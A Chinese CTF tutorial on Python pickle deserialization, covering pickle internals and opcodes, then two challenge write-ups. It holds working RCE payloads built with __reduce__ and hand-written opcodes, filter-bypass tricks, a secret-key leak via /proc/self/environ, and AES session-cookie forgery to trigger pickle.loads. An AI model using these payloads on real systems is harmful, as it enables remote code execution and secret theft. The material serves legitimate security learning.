本章是一场硬战,加油吧,我们要出发了!
前置知识
在正式开始学习前,我们先回顾一下 python 的语法知识
序列化后的数据格式
PHP
1 2 3 4
| a:2:{i:0;s:3:"猫";i:1;s:3:"狗";}
O:4:"User":2:{s:3:"name";s:5:"小明";s:3:"age";i:18;}
|
Python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| (lp0 S'猫' p1 aS'狗' p2 a.
(dp0 S'name' p1 S'小明' p2 sS'age' p3 I18 s.
|
可见,Python Pickle 格式像一种栈虚拟机指令,每条指令都在操作一个栈。这跟 PHP 纯文本格式很不一样。
魔术方法对应关系
先混个眼熟,后续还会展开来说明
python 基础语法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| arr = [1, 2, 3, "hello"] arr.append(4) print(arr[0])
dict = { "name": "小明", "age": 18, "hobbies": ["游泳", "编程"] } print(dict["name"]) dict["score"] = 100
class User: def __init__(self, name, age): self.name = name self.age = age def say_hello(self): print(f"你好,我是{self.name}")
user = User("小明", 18) user.say_hello()
|
序列化与反序列化函数
1 2 3 4 5 6 7 8 9 10
| import pickle
data = {"name": "小明", "age": 18} pickled = pickle.dumps(data) print(pickled)
unpickled = pickle.loads(pickled) print(unpickled["name"])
|
魔术方法示例
__reduce__这个方法一定要多注意,这是造成一切问题的根源,相当于 wakeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import pickle import os
class Evil: def __reduce__(self): return (os.system, ('whoami',))
malicious = pickle.dumps(Evil())
pickle.loads(malicious)
|
pickle 相关模块
这个后面是否还会接触呢,现在还说不准
1 2 3
| json | 用于实现Python数据类型与通用(json)字符串之间的转换 | dumps()、dump()、loads()、load() pickle | 用于实现Python数据类型与Python特定二进制格式之间的转换 | dumps()、dump()、loads()、load() shelve | 专门用于将Python数据类型的数据持久化到磁盘,shelve是一个类似dict的对象,操作十分便捷 | open()
|
pickle 语法基础
概论
pickle 是 Python 的一个库,可以对一个对象进行序列化和反序列化操作.其中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在 reduce 魔法函数内植入恶意代码的方式进行任意命令执行.通常会利用到 Python 的反弹 shell.
pickle 实际上可以看作一种独立的语言,通过对 opcode 的更改编写可以执行 python 代码、覆盖变量等操作。直接编写的 opcode 灵活性比使用 pickle 序列化生成的代码更高,有的代码不能通过 pickle 序列化得到(pickle 解析能力大于 pickle 生成能力)。
pickling: 是将 Python 对象转换为字节流的过程;
unpickling: 是将字节流二进制文件或字节对象转换回 Python 对象的过程;
Python 中几乎所有的数据类型(列表,字典,集合,类等)都可以用 pickle 来序列化。
序列化与反序列化函数
首先要认识这四个函数
1 2 3 4
| pickle.dump() pickle.load() pickle.dumps() pickle.loads()
|
下面展开叙述一下它们的作用吧
pickle.dump()
1
| pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
|
注意:在 python 中,* 是函数定义的语法,调用函数时 * 后面的参数必须写参数名,但不用把*抄上去
第一个函数,dump,参数大概有这些,一起来看看
对于协议版本问题:

pickle.dumps()
将 obj 封存以后的对象作为 bytes 类型直接返回,而不是将其写入到文件对象中。其他的参数与 dump 中的一样,这里就不需要填文件路径了。
1
| pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)
|
pickle.load()
函数形式,参数也都在这里了
1
| pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
|
encoding 有如下几种选择:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| with open('data.pkl', 'rb') as f: data = pickle.load(f, encoding='ASCII')
with open('chinese_data.pkl', 'rb') as f: data = pickle.load(f, encoding='utf-8')
with open('old_data.pkl', 'rb') as f: data = pickle.load(f, encoding='bytes')
with open('maybe_py2_data.pkl', 'rb') as f: data = pickle.load(f, encoding='latin1')
|
err 的选择:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| with open('data.pkl', 'rb') as f: data = pickle.load(f, errors='strict')
with open('data.pkl', 'rb') as f: data = pickle.load(f, errors='ignore')
with open('data.pkl', 'rb') as f: data = pickle.load(f, errors='replace')
with open('data.pkl', 'rb') as f: data = pickle.load(f, errors='backslashreplace')
|
buffer 的选择我们目前用不到,这里就不多说了
pickle.loads()
1
| pickle.loads(data, /, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
|
data 里面直接写数据了,就不是读文件了
魔术方法
所有的魔术方法左右都带双下划线的,这里省略了
reduce
__reduce__这里就不提了,相当于 wakeup,后面还有几个需要记忆的
new
构造方法 new
● 在实例化一个类时自动被调用,是类的构造方法.
● 可以通过重写 new 自定义类的实例化过程
_(相当于 PHP 的 _construct(),但 PHP 没有直接对应的,PHP 的构造函数更接近__init)
init
初始化方法 init
● 在 new 方法之后被调用,主要负责定义类的属性,以初始化实例
_(相当于 PHP 的 _construct())
del
析构方法 del
● 在实例将被销毁时调用
● 只在实例的所有调用结束后才会被调用
_(相当于 PHP 的 _destruct())
getattr
getattr
● 获取不存在的对象属性时被触发
● 存在返回值
_(相当于 PHP 的 _get())
setattr
setattr
● 设置对象成员值的时候触发
● 传入一个 self,一个要设置的属性名称,一个属性的值
_(相当于 PHP 的 _set())
repr
repr
● 在实例被传入 repr() 时被调用
● 必须返回字符串
_(相当于 PHP 的没有完全对应,类似 _toString() 但用于调试)
call
call
● 把对象当作函数调用时触发
_(相当于 PHP 的 _invoke())
len
len
● 被传入 len() 时调用
● 返回一个整型
(相当于 PHP 的没有直接对应,类似实现 Countable 接口的 count() 方法)
str
str
● 被 str(), format(), print() 调用时调用,返回一个字符串
_(相当于 PHP 的 _toString())
Python 特殊属性
注意前面的 object,instance…要根据实际情况调整
object.__dict__
是什么:存对象属性的字典
1 2 3 4 5 6 7 8 9 10 11
| class Student: def __init__(self, name, age): self.name = name self.age = age
s = Student("小明", 18) print(s.__dict__)
s.__dict__['score'] = 95 print(s.score)
|
instance.__class__
是什么:这个实例是属于哪个类的
1 2 3 4 5 6
| s = Student("小明", 18) print(s.__class__) print(s.__class__.__name__)
s2 = s.__class__("小红", 17)
|
_(相当于 PHP 的 get_class($obj))_
class.__bases__
是什么:这个类的父类们(返回的是元组)
1 2 3 4 5 6 7 8 9 10 11 12 13
| class Person: pass
class Student(Person): pass
print(Student.__bases__)
class A: pass class B: pass class C(A, B): pass print(C.__bases__)
|
(相当于 PHP 的 class_parents() 但返回的是元组不是数组)
definition.__name__
是什么:类、函数、方法的名字(字符串)
1 2 3 4 5 6 7 8 9 10
| class Student: def study(self): pass
print(Student.__name__) print(Student.study.__name__)
def hello(): pass print(hello.__name__)
|
(相当于 PHP 的通过反射获取名称)
definition.__qualname__
是什么:带”路径”的完整名字(解决重名问题)
是不是类中方法要加以区分
1 2 3 4 5 6 7 8 9 10 11
| class Outer: class Inner: pass
print(Inner.__name__) print(Inner.__qualname__)
def func(): pass print(func.__name__) print(func.__qualname__)
|
再复习一下吧
opcode 基础知识
PVM
pickle 是一种栈语言,它由一串串 opcode(指令集)组成.该语言的解析是依靠 Pickle Virtual Machine (PVM)进行的.
PVM 由以下三部分组成
- 指令处理器:从流中读取
opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
- stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
- memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。
整个过程就像:厨师(指令处理器)拿着菜谱(opcode),一边用锅(stack)炒菜,一边在小本本(memo)上记重点,最后把炒好的菜(反序列化结果)端给你!
常用的 opcode
大概有这么多吧,可以先不记,要用的时候前来查表
相关工具的使用
pickletools 是 python 的一个内建模块,常用的方法有 pickletools.dis(),用于把一段 opcode 转换为易读的形式,如
1 2 3 4 5 6 7 8 9
| import pickletools
opcode = b'''c__main__ secret (S'secret' S'Hack!!!' db.'''
pickletools.dis(opcode)
|
1 2 3 4 5 6 7 8 9
| 输出: 0: c GLOBAL '__main__ secret' 17: ( MARK 18: S STRING 'secret' 28: S STRING 'Hack!!!' 39: d DICT (MARK at 17) 40: b BUILD 41: . STOP highest protocol among opcodes = 0
|
pker
pker 是一个可以把 python 语言翻译成 opcode 的工具. 使用 pker,我们可以更方便地编写 pickle opcode
https://github.com/eddieivan01/pker
pickle 反序列化漏洞利用
概论
讲了那么多前置知识,终于可以叙述问题到底是出在哪里了
pickle 是 Python 的一个库,可以对一个对象进行序列化和反序列化操作.其中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在 reduce 魔法函数内植入恶意代码的方式进行任意命令执行.通常会利用到 Python 的反弹 shell.
pickle 实际上可以看作一种独立的语言,通过对 opcode 的更改编写可以执行 python 代码、覆盖变量等操作。直接编写的 opcode 灵活性比使用 pickle 序列化生成的代码更高,有的代码不能通过 pickle 序列化得到(pickle 解析能力大于 pickle 生成能力)。
pickle 这个库支持
- 调用任意模块的函数(如
os.system, subprocess.Popen)
- 实例化任意类(可能触发
reduce, setstate 等魔术方法)
- 构造任意对象图
攻击者可以精心构造 payload,让 pickle.loads() 在还原对象时 自动执行恶意命令。
这种手法和 php 反序列化是如出一辙的
实际上问题本质在于:pickle.loads() 不仅仅是一个简单的数据恢复工具,它本质上是一个 栈语言虚拟机 的解析器。当你加载一个 pickle 数据流时,Python 虚拟机是在“执行”这段由 Opcode 编写的“代码”来重建对象。
这就导致了两个严重的问题:
- 隐含的代码执行:反序列化不仅仅是数据复制,而是伴随着指令执行(比如调用函数、实例化类)。
- 攻击面扩大:只要攻击者能控制 pickle 数据流的内容,就能控制这个虚拟机执行任意指令。
漏洞利用
Pickle 在反序列化时会调用对象的 __reduce__方法(如果存在),该方法可返回:
反序列化时会执行:callable(*args)
其中:
(callable, args) 就像是给 Pickle 下达的一个”执行指令”:
callable:要调用的函数(比如 os.system、subprocess.getoutput)
args:调用时传入的参数(比如 "whoami"、"cat /flag")
callable(*args) 表示实际执行时的样子:
例如这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import os import subprocess import pickle
class Evil(object): def __reduce__(self): return (os.system, ("whoami",))
malicious_data = pickle.dumps(Evil()) pickle.loads(malicious_data)
|
这里面的一些语法格式要稍微注意一下,否则运行不了
最简单的脚本和用法
我们可以利用脚本,生成 Pickle 反序列化漏洞 Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import pickle import subprocess
class Exploit: def __reduce__(self): return (subprocess.getoutput, ('env',))
payload = pickle.dumps(Exploit(), protocol=0)
import base64
print(base64.b64encode(payload).decode())
|
当这段 Payload 被目标服务器反序列化时,会执行:
1
| subprocess.getoutput('env')
|
实际效果演示
1 2 3
| $ python exploit.py gASVJQAAAAAAAABMCnN1YnByb2Nlc3OUKGV4dGVybl9nZXRvdXRwdXSUhpSMCGVudpSFlFKULg==
|
1 2 3 4 5 6 7 8
| import pickle import base64
data = input("请输入数据: ") pickle.loads(base64.b64decode(data))
|
实战中,我们需要通过源码审计,找到存在 pickle 反序列化的突破口,利用脚本生成相关 payload 让其反序列化,从而进行 RCE 或文件读取
需要注意的是,和 php 反序列化不同,pickle 反序列化后的对象本来就是包含__reduce__等危险魔术方法的信息的,所以我们应该自己构造,不需要环境中既有的危险方法
1 2 3 4 5 6 7 8 9 10 11 12
| import pickle import subprocess
class Exploit: def __reduce__(self): return (subprocess.getoutput, ('whoami',))
pickle.loads(pickle.dumps(Exploit()))
|


变量覆盖问题
扶摇 · 六 python 原型链污染问题第六章 pickle 反序列化实现变量覆盖
利用 Pickle 反序列化,还可以通过 exec 在反序列化时动态执行代码,修改当前作用域中的变量。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import pickle
key1 = b'321' key2 = b'123'
class A(object): def __reduce__(self): return (exec, ("key1=b'1'\nkey2=b'2'",))
a = A() pickle_a = pickle.dumps(a) print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)
|
反序列化触发:
- 调用
A.reduce()
- 返回
(exec, ("key1=b'1'\nkey2=b'2'",))
- Pickle 执行:
exec("key1=b'1'\nkey2=b'2'")
exec 执行后的效果:
- 执行
key1 = b'1'
- 执行
key2 = b'2'
成功修改了当前作用域中的变量值
这个脚本展示了 Pickle 反序列化的真实危险:
- 不仅仅是调用函数:可以执行任意 Python 代码块
- 影响程序状态:可以修改当前作用域的变量
- 隐蔽性强:不产生明显的系统调用,可能在审计中被忽略
- 绕过安全机制:如果程序依赖某个标志位做权限控制,可以直接修改
RCE 问题
其实上面最简单的脚本,已经说的挺清楚如果要 RCE,是怎么用了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import pickle import subprocess
class Exploit: def __reduce__(self): return (subprocess.getoutput, ('env',))
payload = pickle.dumps(Exploit(), protocol=0)
import base64
print(base64.b64encode(payload).decode())
|
调用 os 模块
如果想调用 os 模块,也是可以的,os 模块我们之前也在 ssti 见过,但这没回显,你得写文件
这里又要用到无回显 ssti 中学习过的内容了–写入可写的目录,这里通常是带 static 的路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import pickle
class RunCmd: def __reduce__(self): import os return (os.system, ("ls / > /app/static/fake_flag.txt",))
malicious_data = pickle.dumps({"username": "admin", "pwn": RunCmd()})
user_data = pickle.loads(received_data)
|
**手写 pickle 字节流(opcode) **
这个牛逼了,直接手写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| b'''(cos system S'ls / > /app/static/fake_flag.txt' o.'''
|
等价于
1 2 3
| import os os.system('ls / > /app/static/fake_flag.txt')
|
不需要用到任何魔术方法,能绕过很多限制,下面是原理,可以慢慢进行分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| # 初始栈: []
# 1. '(' - MARK 标记 # 栈: [MARK]
# 2. 'c' - GLOBAL 'os' 'system' # 栈: [MARK, os.system]
# 3. 'S' - STRING 压入命令 # 栈: [MARK, os.system, 'ls / > /app/static/fake_flag.txt']
# 4. 'o' - REDUCE # 弹出: os.system 和 'ls / > /app/static/fake_flag.txt' # 执行: os.system('ls / > /app/static/fake_flag.txt') # 将结果压入栈 # 栈: [MARK, result]
# 5. '.' - STOP # 结束反序列化,返回栈顶结果
|
实验
说了那么多,实验才是重头戏,因为 pickle 反序列化涉及到了大量的 python 代码审计,这比 php 要复杂的多,我们来看几道题吧。
[HZNUCTF 2023 preliminary]pickle
pickle 反序列化的题目一般是存在源码泄露的,不然没法做,这里一上来题目就是源码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import base64 import pickle from flask import Flask, request
app = Flask(__name__)
@app.route('/') def index(): with open('app.py', 'r') as f: return f.read()
@app.route('/calc', methods=['GET']) def getFlag(): payload = request.args.get("payload") pickle.loads(base64.b64decode(payload).replace(b'os', b'')) return "ganbadie!"
@app.route('/readFile', methods=['GET']) def readFile(): filename = request.args.get('filename').replace("flag", "????") with open(filename, 'r') as f: return f.read()
if __name__ == '__main__': app.run(host='0.0.0.0')
|
这里我们直接在/calc?payload 传反序列化的结果,注意不能直接用 os 模块,有 waf
法一 subprocess.getoutput
用这个最简单的脚本,直接输入命令会无回显,我们用 SSTI 的方式写入到静态文件下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import pickle import subprocess
class Exploit: def __reduce__(self): return (subprocess.getoutput, ('mkdir static; whoami > ./static/out.txt',))
payload = pickle.dumps(Exploit(), protocol=0)
import base64
print(base64.b64encode(payload).decode())
|
脚本得到的结果刚好是 base64 编码后的,经过靶机一解码,就被反序列化执行命令了

输出的是
1
| Y2NvbW1hbmRzCmdldG91dHB1dApwMAooVm1rZGlyIHN0YXRpYzsgd2hvYW1pID4gLi9zdGF0aWMvb3V0LnR4dApwMQp0cDIKUnAzCi4=
|
我们这么 payload:
1
| http://node5.anna.nssctf.cn:25440/calc?payload=Y2NvbW1hbmRzCmdldG91dHB1dApwMAooVm1rZGlyIHN0YXRpYzsgd2hvYW1pID4gLi9zdGF0aWMvb3V0LnR4dApwMQp0cDIKUnAzCi4=
|
然后访问一下静态文件/static/out.txt

命令被执行了吧
如果想看 flag 也很简单,改一改命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import pickle import subprocess
class Exploit: def __reduce__(self): return (subprocess.getoutput, ('mkdir static; cat /fl* > ./static/out.txt',))
payload = pickle.dumps(Exploit(), protocol=0)
import base64
print(base64.b64encode(payload).decode())
|
再度 payload,并访问
1
| http://node5.anna.nssctf.cn:25440/calc?payload=Y2NvbW1hbmRzCmdldG91dHB1dApwMAooVm1rZGlyIHN0YXRpYzsgY2F0IC9mbCogPiAuL3N0YXRpYy9vdXQudHh0CnAxCnRwMgpScDMKLg==
|
诶……

那 env 呢?env 总有了吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import pickle import subprocess
class Exploit: def __reduce__(self): return (subprocess.getoutput, ('mkdir static; env > ./static/out.txt',))
payload = pickle.dumps(Exploit(), protocol=0)
import base64
print(base64.b64encode(payload).decode())
|

运行通过
法二 eval 模块
当然,还可以尝试一下 eval 模块,os 用加号拼接绕过过滤
1 2 3 4 5 6 7 8 9 10 11
| import pickle import base64 class rayi(object): def __reduce__(self):
return eval,("__import__('o'+'s').system('env | tee a')",) a=rayi() print(pickle.dumps(a)) print(base64.b64encode(pickle.dumps(a)))
|
法三 手写
手写也是一样的,但是这类题手写我是真佩服你,注意 os 要双写
1 2 3 4 5 6 7 8 9 10 11 12
| import pickle import requests import base64 import pickletools
opcode = b'''(cooss system S'mkdir static; env > ./static/out.txt' o.''' data = base64.b64encode(opcode)
print(data)
|
得到了这样的输出
1
| b'KGNvb3NzCnN5c3RlbQpTJ21rZGlyIHN0YXRpYzsgZW52ID4gLi9zdGF0aWMvb3V0LnR4dCcKby4='
|
Payload: 注意不要把引号外的给加上去了
1
| http://node5.anna.nssctf.cn:22646/calc?payload=KGNvb3NzCnN5c3RlbQpTJ21rZGlyIHN0YXRpYzsgZW52ID4gLi9zdGF0aWMvb3V0LnR4dCcKby4=
|

通常存在 pickle 的地方没有那么明显,它是比较隐秘的,我们可以看看下一题
[GHCTF 2025]ezzzz_pickle
这道题就稍微有一些难度,你首先得想办法搞到网页的后端源码,然后再进行审计
信息收集阶段
登录界面的弱口令提权就省略了,我们来到了这样一个界面

读前端源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Hello Page</title> </head> <body> <h1>Hello, admin!</h1> <h1>你不会以为我真的会给你flag吧,不会吧不会吧</h1> <form method="POST" action="/"> <input type="hidden" name="filename" value="fake_flag.txt"> <button type="submit" class="btn btn-login">读取flag</button> </form> </body> </html>
|
有进行任务文件读取的隐藏域,POST 提交 filename 变量为文件路径
注意 hackbar 弄不好就上 Burp
先读了个/etc/passwd,没有反应
尝试读取环境变量/proc/self/environ
1 2 3 4 5 6 7 8 9
| PYTHON_SHA256=bfb249609990220491a1b92850a07135ed0831e41738cf681d63cf01b2a8fbd1 HOSTNAME=anna46326c5bbe_sservicePYTHON_VERSION=3.10.16 PWD=/appHOME=/rootLANG=C.UTF-8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D FLAG=no_FLAG SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv SHLVL=1 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/bin:/sbin:/bin SECRET_iv=asdwdggiouewhgpw _=/usr/local/bin/flaskOLDPWD=/
|
FLAG 没有,找到了两个可能有用的信息
再尝试读取/app/app.py,注意这个路径,以后查看源码都这么查看
源码审计阶段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| from flask import Flask, request, redirect, make_response, render_template from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import padding import pickle import hmac import hashlib import base64 import time import os
app = Flask(__name__)
def generate_key_iv(): key = os.environ.get('SECRET_key').encode() iv = os.environ.get('SECRET_iv').encode() return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'): cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) if mode == 'encrypt': encryptor = cipher.encryptor() padder = padding.PKCS7(algorithms.AES.block_size).padder() padded_data = padder.update(data.encode()) + padder.finalize() result = encryptor.update(padded_data) + encryptor.finalize() return base64.b64encode(result).decode() elif mode == 'decrypt': decryptor = cipher.decryptor() encrypted_data_bytes = base64.b64decode(data) decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize() unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize() return unpadded_data.decode()
users = { "admin": "admin123", }
def create_session(username): session_data = { "username": username, "expires": time.time() + 3600 } pickled = pickle.dumps(session_data) pickled_data = base64.b64encode(pickled).decode('utf-8') key, iv = generate_key_iv() session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt') return session
def dowload_file(filename): path = os.path.join("static", filename) with open(path, 'rb') as f: data = f.read().decode('utf-8') return data
def validate_session(cookie): try: key, iv = generate_key_iv() pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt') pickled_data = base64.b64decode(pickled) session_data = pickle.loads(pickled_data) if session_data["username"] != "admin": return False return session_data if session_data["expires"] > time.time() else False except: return False
@app.route("/", methods=['GET', 'POST']) def index(): if "session" in request.cookies: session = validate_session(request.cookies["session"]) if session: data = "" filename = request.form.get("filename") if filename: data = dowload_file(filename) return render_template("index.html", name=session['username'], file_data=data) return redirect("/login")
@app.route("/login", methods=["GET", "POST"]) def login(): if request.method == "POST": username = request.form.get("username") password = request.form.get("password") if users.get(username) == password: resp = make_response(redirect("/")) resp.set_cookie("session", create_session(username)) return resp return render_template("login.html", error="Invalid username or password") return render_template("login.html")
@app.route("/logout") def logout(): resp = make_response(redirect("/login")) resp.delete_cookie("session") return resp
if __name__ == "__main__": app.run(host="0.0.0.0", debug=False)
|
读完了源码,审计的时候我们一定要冷静分析了
关于 pickle 的地方,我已经用不同颜色的底给标出了,但并非全都能够起作用,一定要理清楚源码的逻辑
首先我们关心的是第 61 行附近的代码–指出它什么时候进行反序列化
1 2 3
| pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt') pickled_data = base64.b64decode(pickled) session_data = pickle.loads(pickled_data)
|
在其上面有个 pickled 变量,它是被 aes_encrypt_decrypt 自定义解密的 cookie 值,然后再被 base64.b64decode 解密了一次,其过程大概可以这样描述
cookie值->aes解密->base64解码->序列化编码->被序列化
我们要做的就是逆推这个过程得到 cookie 值,使其经过上面这个流程后得到危险的序列化编码,最后再被序列化。
序列化编码->base64编码->aes加密->cookie值
但这几行所属的 def validate_session(cookie)方法在什么时候执行呢?我们又可以读到 71 行(橙底部分)
1 2 3 4 5 6 7 8 9 10 11
| @app.route("/", methods=['GET', 'POST']) def index(): if "session" in request.cookies: session = validate_session(request.cookies["session"]) if session: data = "" filename = request.form.get("filename") if filename: data = dowload_file(filename) return render_template("index.html", name=session['username'], file_data=data) return redirect("/login")
|
很容易就能审计出来:当我们访问网页根目录的时候,我们 cookie 上带有的 session 会作为 validate_session 函数
的参数,也就是”cookie”,进行这三步解密
1 2 3
| pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt') pickled_data = base64.b64decode(pickled) session_data = pickle.loads(pickled_data)
|
也就是说,我们只要在访问网页根目录的时候带有通过这一逆向的程序加密好的 cookie 值,就能正常通过执行 validate_session 函数,让 cookie 值被 pickle 反序列化
序列化编码->base64编码->aes加密->cookie值
那么,绿字对我们的进程有没有影响呢?
1 2 3 4 5 6 7 8 9 10
| def create_session(username): session_data = { "username": username, "expires": time.time() + 3600 } pickled = pickle.dumps(session_data) pickled_data = base64.b64encode(pickled).decode('utf-8') key, iv = generate_key_iv() session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt') return session
|
我们也应该找找 create_session 这个函数,是在哪儿执行的
1 2 3 4 5 6 7 8 9 10 11
| @app.route("/login", methods=["GET", "POST"]) def login(): if request.method == "POST": username = request.form.get("username") password = request.form.get("password") if users.get(username) == password: resp = make_response(redirect("/")) resp.set_cookie("session", create_session(username)) return resp return render_template("login.html", error="Invalid username or password") return render_template("login.html")
|
很明显,整个网页后端代码中,只有访问/login,输入用户名和密码这一处,执行了 create_session,并设置了 cookie 中的 session 值
那想想我们的目的:伪造 cookie 中的 session。
所以我们不能让 cookie 中的 session 因触发 create_session 函数被修改。
这很简单,我们只要不访问/login,直接从网页根目录入手,网页就无法修改我们的 cookie 值。而这个函数对我们伪造 cookie 没有任何好处。
因此所有有关 pickle 的后端源码已经审计完毕了,接下来我们按照思路,先伪造 cookie,再带着 cookie 访问根目录,我们要的危险代码就成功执行了
逆向序列化阶段
aes_encrypt_decrypt 是个自定义的解密方式,我们可以从源码观察它的解密思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| def aes_encrypt_decrypt(data, key, iv, mode='encrypt'): cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) if mode == 'encrypt': encryptor = cipher.encryptor() padder = padding.PKCS7(algorithms.AES.block_size).padder() padded_data = padder.update(data.encode()) + padder.finalize() result = encryptor.update(padded_data) + encryptor.finalize() return base64.b64encode(result).decode() elif mode == 'decrypt': decryptor = cipher.decryptor() encrypted_data_bytes = base64.b64decode(data) decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize() unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize() return unpadded_data.decode()
|
大概其实就是加密的时候经过了一系列的加密算法加密,如果要解密再经过一系列的解密算法解密
这里要用到的参数密钥,则恰好是我们在信息收集阶段访问环境变量所获得的。
幸运的是这个函数本身就提供了加密模式助于我们加密,我们不必用与其相反的思路再构造一个加密脚本。
所以我们很容易就能得到这样一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from flask import Flask, request, redirect, make_response, render_template from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import padding import pickle import hmac import hashlib import base64 import time import os def aes_encrypt_decrypt(data, key, iv, mode='encrypt'): cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) if mode == 'encrypt': encryptor = cipher.encryptor() padder = padding.PKCS7(algorithms.AES.block_size).padder() padded_data = padder.update(data.encode()) + padder.finalize() result = encryptor.update(padded_data) + encryptor.finalize() return base64.b64encode(result).decode() elif mode == 'decrypt': decryptor = cipher.decryptor() encrypted_data_bytes = base64.b64decode(data) decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize() unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize() return unpadded_data.decode() ans=aes_encrypt_decrypt('Y2NvbW1hbmRzCmdldG91dHB1dApwMAooVm1rZGlyIHN0YXRpYzsgZW52ID4gLi9zdGF0aWMvb3V0LnR4dApwMQp0cDIKUnAzCi4=',b'ajwdopldwjdowpajdmslkmwjrfhgnbbv',b'asdwdggiouewhgpw', mode='encrypt') print(ans)
|
在 25 行之前,都是直接复制网页中完整的 aes 加密思路,网页引入了什么库,脚本中就要引入什么库;
不过要注意了,这两个秘钥要的都是比特形式,前面要加个 b,像这样 b'xxxx'
当然我们通过上一题的脚本,能够获得读 flag 的序列化字符串的 base64 编码,我们只要在第 26 行将这个脚本的运行结果输进 aes 加密的参数里面,像这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import pickle import subprocess
class Exploit: def __reduce__(self): return (subprocess.getoutput, ('mkdir static; cat /fl* > ./static/out.txt',))
payload = pickle.dumps(Exploit(), protocol=0)
import base64
print(base64.b64encode(payload).decode())
|
执行第一个脚本,得到结果,这就是我们需要伪造的 cookie 值
1
| t79tNrl5TH1uI/QbazF/JFHdDkUU7JzNrNUvI3slduiRHAf8S4eOiEFaDIW6K6xhG+tAJsimv75ydjo+Uq8ZaT+EFldTcZ/B/YhBiyLCGA2Gcnm6l6ssYViO9JtA0rjUhkcH8Hny2QN9ZAC1Gft1Lg==
|
在根目录下伪造 cookie 值,点放行

按照源码的逻辑,我们的危险代码就成功被 pickle 反序列化了,此时访问/static/out.txt,就得到我们的最终答案了

做题启示
因此 pickle 反序列化问题,还需从源码审计入手,找到什么样的函数会将什么值给反序列化,这个函数要怎么样才能执行,为了让这个值执行,我们还需要注意什么
清楚掌握源码中我们应用什么函数构造利用链,从而进行远程命令的执行。
总结
通过对 pickle 反序列化的学习,源码审计似乎给我提出了更高的要求,我们要通过思考题目逻辑,来找到反序列化的突破口。
除了这两个实验之外,pickle 反序列化常与修改 cookie 提权一并考查,今后需注意此类题型
本章结束 🎆